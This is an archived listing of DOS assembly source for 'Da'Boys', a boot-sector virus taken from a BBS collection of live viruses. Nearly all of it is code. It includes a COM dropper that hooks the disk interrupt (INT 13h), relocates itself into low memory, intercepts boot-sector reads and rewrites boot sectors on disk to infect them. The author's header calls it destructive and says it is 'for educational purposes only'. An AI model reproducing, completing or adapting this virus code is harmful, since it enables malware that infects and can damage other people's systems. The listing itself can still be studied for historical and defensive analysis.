home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / da'boys.asm < prev    next >
Assembly Source File  |  1980-04-19  |  7KB  |  283 lines

  1. cseg        segment    para    public    'code'
  2. da_boys        proc    near
  3. assume        cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. ; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
  12. ;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
  13. ;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
  14. ;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
  15. ;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
  16. ;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
  17. ;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
  18.  
  19. ;-----------------------------------------------------------------------------
  20.  
  21. .186
  22. TRUE        equ    001h
  23. FALSE        equ    000h
  24.  
  25. ;-----------------------------------------------------------------------------
  26.  
  27. ;option                     bytes used
  28.  
  29. COM4_OFF    equ    TRUE    ;  3 bytes
  30. DA_BOYS_TEXT    equ    TRUE    ;  6 bytes
  31.  
  32. ;-----------------------------------------------------------------------------
  33.  
  34. ADDR_MUL    equ    004h
  35. BIOS_INT_13    equ    0c6h
  36. BOOT_INT    equ    019h
  37. BOOT_OFFSET    equ    07c00h
  38. COM4_OFFSET    equ    00406h
  39. COM_OFFSET    equ    00100h
  40. DISK_INT    equ    013h
  41. DOS_GET_INT    equ    03500h
  42. DOS_INT        equ    021h
  43. DOS_SET_INT    equ    02500h
  44. FIRST_SECTOR    equ    00001h
  45. INITIAL_BX    equ    00078h
  46. LOW_CODE    equ    0021dh
  47. NEW_INT_13_LOOP    equ    0cdh
  48. READ_A_SECTOR    equ    00201h
  49. RETURN_NEAR    equ    0c3h
  50. SECTOR_SIZE    equ    00200h
  51. TERMINATE_W_ERR    equ    04c00h
  52. TWO_BYTES    equ    002h
  53. VIRGIN_INT_13_B    equ    007b4h
  54. WRITE_A_SECTOR    equ    00301h
  55.  
  56. ;-----------------------------------------------------------------------------
  57.  
  58. io_seg        segment    at 00070h
  59.         org    00000h
  60. io_sys_loads_at    label    word
  61. io_seg        ends
  62.  
  63. ;-----------------------------------------------------------------------------
  64.  
  65. bios_seg    segment    at 0f000h
  66.         org    09315h
  67. original_int_13    label    word
  68. bios_seg    ends
  69.  
  70. ;-----------------------------------------------------------------------------
  71.  
  72.         org    COM_OFFSET
  73. com_code:
  74.  
  75. ;-----------------------------------------------------------------------------
  76.  
  77. dropper        proc    near
  78.         xor    ax,ax
  79.         mov    ds,ax
  80.         lds    dx,dword ptr ds:[VIRGIN_INT_13_B]
  81.         mov    ax,DOS_SET_INT+BIOS_INT_13
  82.         int    DOS_INT
  83.         mov    dx,offset interrupt_13+LOW_CODE-offset old_jz
  84.         xor    ax,ax
  85.         mov    ds,ax
  86.         mov    ax,DOS_SET_INT+DISK_INT
  87.         int    DOS_INT
  88.         mov    di,LOW_CODE
  89.         mov    si,offset old_jz
  90.         push    ds
  91.         pop    es
  92.         call    move_to_boot
  93.         mov    ax,READ_A_SECTOR
  94.         mov    cx,FIRST_SECTOR
  95.         mov    dx,00180h
  96.         mov    bx,offset buffer
  97.         push    cs
  98.         pop    es
  99.         int    DISK_INT
  100. already_set:    mov    ax,TERMINATE_W_ERR
  101.         int    DOS_INT
  102. dropper        endp
  103.  
  104.  
  105. ;-----------------------------------------------------------------------------
  106.  
  107.         org    00048h+COM_OFFSET
  108.         call    initialize
  109.  
  110. ;-----------------------------------------------------------------------------
  111.  
  112.         org    000ebh+COM_OFFSET
  113. old_jz:        jz    old_code
  114.  
  115. ;-----------------------------------------------------------------------------
  116.  
  117.         org    00edh+COM_OFFSET
  118.  
  119. ;-----------------------------------------------------------------------------
  120.  
  121. error:        jmp    error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
  122. move_to_low:    mov    si,offset old_jz+BOOT_OFFSET-COM_OFFSET
  123.         xor    ax,ax
  124. move_to_boot:    mov    cx,offset jmp_old_int_13-offset    old_jz+1
  125.         pushf
  126.         cld
  127.         rep    movs byte ptr es:[di],cs:[si]
  128.         popf
  129.         ret
  130.  
  131. ;-----------------------------------------------------------------------------
  132.  
  133. old_code:    mov    ax,word    ptr ds:[bx+01ah]
  134.         dec    ax
  135.         dec    ax
  136.         mov    di,BOOT_OFFSET+049h
  137.         mov    bl,byte    ptr ds:[di-03ch]
  138.         xor    bh,bh
  139.         mul    bx
  140.         add    ax,word    ptr ds:[di]
  141.         adc    dx,word    ptr ds:[di+002h]
  142.         mov    bx,00700h
  143.         mov    cl,003h
  144. old_loop:    pusha
  145.         call    more_old_code
  146.         popa
  147.         jc    error
  148.         add    ax,0001h
  149.         adc    dx,00h
  150.         add    bx,word    ptr ds:[di-03eh]
  151.         loop    old_loop
  152.         mov    ch,byte    ptr ds:[di-034h]
  153.         mov    dl,byte    ptr ds:[di-025h]
  154.         mov    bx,word    ptr ds:[di]
  155.         mov    ax,word    ptr ds:[di+002h]
  156.         jmp    far ptr    io_sys_loads_at
  157.  
  158. ;-----------------------------------------------------------------------------
  159.  
  160. initialize:    mov    bx,INITIAL_BX
  161.         mov    di,LOW_CODE
  162.         push    ss
  163.         pop    ds
  164.         jmp    short set_interrupts
  165.  
  166. ;-----------------------------------------------------------------------------
  167.  
  168. error_will_jmp:    mov    bx,BOOT_OFFSET
  169.         IF    DA_BOYS_TEXT
  170.         db    'DA',027h,'BOYS'
  171.         ELSE
  172.         push    bx
  173.         ENDIF
  174.         mov    ax,00100h
  175.         mov    dx,08000h
  176. load_from_disk:    mov    cx,ax
  177.         mov    ax,READ_A_SECTOR
  178.         xchg    ch,cl
  179.         xchg    dh,dl
  180.         int    DISK_INT
  181.         ret
  182.  
  183. ;-----------------------------------------------------------------------------
  184.  
  185.         org    00160h+COM_OFFSET
  186.  
  187. ;-----------------------------------------------------------------------------
  188.  
  189. more_old_code:    mov    si,BOOT_OFFSET+018h
  190.         cmp    dx,word    ptr ds:[si]
  191.         jnb    stc_return
  192.         div    word ptr ds:[si]
  193.         inc    dl
  194.         mov    ch,dl
  195.         xor    dx,dx
  196.         IF    COM4_OFF
  197.         mov    word ptr ds:[COM4_OFFSET],dx
  198.         ENDIF
  199.         div    word ptr ds:[si+002h]
  200.         mov    dh,byte    ptr ds:[si+00ch]
  201.         shl    ah,006h
  202.         or    ah,ch
  203.         jmp    short load_from_disk
  204. stc_return:    stc
  205.         ret
  206.  
  207. ;-----------------------------------------------------------------------------
  208.  
  209.         org    0181h+COM_OFFSET
  210.         ret
  211.  
  212. ;-----------------------------------------------------------------------------
  213.  
  214. restart_it:    int    BOOT_INT
  215.  
  216. ;-----------------------------------------------------------------------------
  217.  
  218. set_interrupts:    cmp    word ptr ds:[di],ax
  219.         jne    is_resident
  220.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
  221.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
  222.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
  223.         mov    ax,offset interrupt_13+LOW_CODE-offset old_jz
  224.         mov    word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
  225.         xchg    word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
  226.         mov    word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
  227. is_resident:    jmp    move_to_low
  228.  
  229. ;-----------------------------------------------------------------------------
  230.  
  231. interrupt_13    proc    far
  232.         cmp    ah,high(READ_A_SECTOR)
  233.         jne    jmp_old_int_13
  234.         cmp    cx,FIRST_SECTOR
  235.         jne    jmp_old_int_13
  236.         cmp    dh,cl
  237.         ja    jmp_old_int_13
  238.         pusha
  239.         int    BIOS_INT_13
  240.         jc    not_boot_sect
  241.         mov    ax,0efe8h
  242.         xchg    word ptr es:[bx+048h],ax
  243.         cmp    ax,078bbh
  244.         jne    not_boot_sect
  245.         mov    di,bx
  246.         add    di,offset old_jz-COM_OFFSET
  247.         cmp    bh,high(BOOT_OFFSET)
  248.         pushf
  249.         jne    no_key_press
  250.         mov    byte ptr es:[di+00ch],RETURN_NEAR
  251.         pusha
  252.         call    near ptr hit_any_key
  253.         popa
  254. no_key_press:    mov    ax,WRITE_A_SECTOR
  255.         mov    si,LOW_CODE
  256.         call    move_to_boot
  257.         inc    cx
  258.         int    BIOS_INT_13
  259.         popf
  260.         je    restart_it
  261. not_boot_sect:    popa
  262. interrupt_13    endp
  263.  
  264. ;-----------------------------------------------------------------------------
  265.  
  266.         org    001e5h+COM_OFFSET
  267. jmp_old_int_13:    jmp    far ptr    original_int_13
  268.  
  269. ;-----------------------------------------------------------------------------
  270.  
  271. buffer        db    SECTOR_SIZE dup    (0)
  272.  
  273. ;-----------------------------------------------------------------------------
  274.  
  275.         org    07cedh-LOW_CODE+offset old_jz
  276. hit_any_key    label    word
  277.  
  278. ;-----------------------------------------------------------------------------
  279.  
  280. da_boys        endp
  281. cseg        ends
  282. end        com_code
  283.